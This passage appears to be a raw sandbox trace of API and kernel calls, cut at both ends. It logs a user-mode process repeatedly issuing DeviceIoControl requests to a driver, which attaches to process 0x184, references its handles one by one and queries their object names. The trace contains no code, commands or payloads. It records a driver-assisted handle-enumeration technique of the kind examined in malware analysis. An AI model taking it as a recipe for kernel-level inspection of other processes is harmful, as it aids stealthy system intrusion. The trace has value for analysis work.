HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.255] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.255] PsAcquireProcessExitSynchronization () returned 0x0 [0121.255] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.255] ObReferenceObjectByHandle (in: Handle=0x704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00208d060, HandleInformation=0x0) returned 0x0 [0121.255] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.255] PsReleaseProcessExitSynchronization () returned 0x2 [0121.255] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.255] ObQueryNameString (in: Object=0xfffff8a00208d060, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.255] ObfDereferenceObject (Object=0xfffff8a00208d060) returned 0x1 [0121.255] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.255] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.255] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.255] PsAcquireProcessExitSynchronization () returned 0x0 [0121.255] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.255] ObReferenceObjectByHandle (in: Handle=0x708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a003074590, HandleInformation=0x0) returned 0x0 [0121.255] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.256] PsReleaseProcessExitSynchronization () returned 0x2 [0121.256] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.256] ObQueryNameString (in: Object=0xfffff8a003074590, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.256] ObfDereferenceObject (Object=0xfffff8a003074590) returned 0x1 [0121.256] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.256] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.256] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.256] PsAcquireProcessExitSynchronization () returned 0x0 [0121.256] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.256] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001e158c0, HandleInformation=0x0) returned 0x0 [0121.256] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.256] PsReleaseProcessExitSynchronization () returned 0x2 [0121.256] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.256] ObQueryNameString (in: Object=0xfffff8a001e158c0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.256] ObfDereferenceObject (Object=0xfffff8a001e158c0) returned 0x1 [0121.256] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.256] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.256] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.256] PsAcquireProcessExitSynchronization () returned 0x0 [0121.256] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.256] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001ba99f0, HandleInformation=0x0) returned 0x0 [0121.256] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.256] PsReleaseProcessExitSynchronization () returned 0x2 [0121.256] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.256] ObQueryNameString (in: Object=0xfffff8a001ba99f0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.256] ObfDereferenceObject (Object=0xfffff8a001ba99f0) returned 0x1 [0121.256] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.256] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.257] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.257] PsAcquireProcessExitSynchronization () returned 0x0 [0121.257] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.257] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00226c630, HandleInformation=0x0) returned 0x0 [0121.257] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.257] PsReleaseProcessExitSynchronization () returned 0x2 [0121.257] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.257] ObQueryNameString (in: Object=0xfffff8a00226c630, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.257] ObfDereferenceObject (Object=0xfffff8a00226c630) returned 0x1 [0121.257] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.257] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.257] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.257] PsAcquireProcessExitSynchronization () returned 0x0 [0121.257] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.257] ObReferenceObjectByHandle (in: Handle=0x72c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00231a470, HandleInformation=0x0) returned 0x0 [0121.257] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.257] PsReleaseProcessExitSynchronization () returned 0x2 [0121.257] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.257] ObQueryNameString (in: Object=0xfffff8a00231a470, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.257] ObfDereferenceObject (Object=0xfffff8a00231a470) returned 0x1 [0121.257] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.257] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.257] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.257] PsAcquireProcessExitSynchronization () returned 0x0 [0121.257] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.257] ObReferenceObjectByHandle (in: Handle=0x730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00207bf40, HandleInformation=0x0) returned 0x0 [0121.258] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.258] PsReleaseProcessExitSynchronization () returned 0x2 [0121.258] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.258] ObQueryNameString (in: Object=0xfffff8a00207bf40, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.258] ObfDereferenceObject (Object=0xfffff8a00207bf40) returned 0x1 [0121.258] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.258] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.258] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.258] PsAcquireProcessExitSynchronization () returned 0x0 [0121.258] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.258] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002339680, HandleInformation=0x0) returned 0x0 [0121.258] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.258] PsReleaseProcessExitSynchronization () returned 0x2 [0121.258] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.258] ObQueryNameString (in: Object=0xfffff8a002339680, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.258] ObfDereferenceObject (Object=0xfffff8a002339680) returned 0x1 [0121.258] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.258] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.258] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.258] PsAcquireProcessExitSynchronization () returned 0x0 [0121.258] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.258] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00234e060, HandleInformation=0x0) returned 0x0 [0121.258] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.258] PsReleaseProcessExitSynchronization () returned 0x2 [0121.258] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.258] ObQueryNameString (in: Object=0xfffff8a00234e060, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.258] ObfDereferenceObject (Object=0xfffff8a00234e060) returned 0x1 [0121.258] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.259] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.259] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.259] PsAcquireProcessExitSynchronization () returned 0x0 [0121.259] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.259] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0023488a0, HandleInformation=0x0) returned 0x0 [0121.259] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.259] PsReleaseProcessExitSynchronization () returned 0x2 [0121.259] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.259] ObQueryNameString (in: Object=0xfffff8a0023488a0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.259] ObfDereferenceObject (Object=0xfffff8a0023488a0) returned 0x1 [0121.259] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.259] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.259] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.259] PsAcquireProcessExitSynchronization () returned 0x0 [0121.259] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.259] ObReferenceObjectByHandle (in: Handle=0x748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002341950, HandleInformation=0x0) returned 0x0 [0121.259] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.259] PsReleaseProcessExitSynchronization () returned 0x2 [0121.259] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.259] ObQueryNameString (in: Object=0xfffff8a002341950, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.260] ObfDereferenceObject (Object=0xfffff8a002341950) returned 0x1 [0121.260] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.260] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.260] PsAcquireProcessExitSynchronization () returned 0x0 [0121.260] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.260] ObReferenceObjectByHandle (in: Handle=0x754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00235a630, HandleInformation=0x0) returned 0x0 [0121.260] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.260] PsReleaseProcessExitSynchronization () returned 0x2 [0121.260] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.260] ObQueryNameString (in: Object=0xfffff8a00235a630, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.260] ObfDereferenceObject (Object=0xfffff8a00235a630) returned 0x1 [0121.260] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.260] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.260] PsAcquireProcessExitSynchronization () returned 0x0 [0121.260] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.260] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0021d13f0, HandleInformation=0x0) returned 0x0 [0121.260] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.260] PsReleaseProcessExitSynchronization () returned 0x2 [0121.260] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.260] ObQueryNameString (in: Object=0xfffff8a0021d13f0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.260] ObfDereferenceObject (Object=0xfffff8a0021d13f0) returned 0x1 [0121.260] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.260] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.260] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.260] PsAcquireProcessExitSynchronization () returned 0x0 [0121.260] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.261] ObReferenceObjectByHandle (in: Handle=0x77c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002343140, HandleInformation=0x0) returned 0x0 [0121.261] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.261] PsReleaseProcessExitSynchronization () returned 0x2 [0121.261] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.261] ObQueryNameString (in: Object=0xfffff8a002343140, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.261] ObfDereferenceObject (Object=0xfffff8a002343140) returned 0x1 [0121.261] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.261] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.261] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.261] PsAcquireProcessExitSynchronization () returned 0x0 [0121.261] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.261] ObReferenceObjectByHandle (in: Handle=0x884, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00320f470, HandleInformation=0x0) returned 0x0 [0121.261] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.261] PsReleaseProcessExitSynchronization () returned 0x2 [0121.261] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.261] ObQueryNameString (in: Object=0xfffff8a00320f470, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.261] ObfDereferenceObject (Object=0xfffff8a00320f470) returned 0x1 [0121.261] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.261] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.261] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.261] PsAcquireProcessExitSynchronization () returned 0x0 [0121.261] 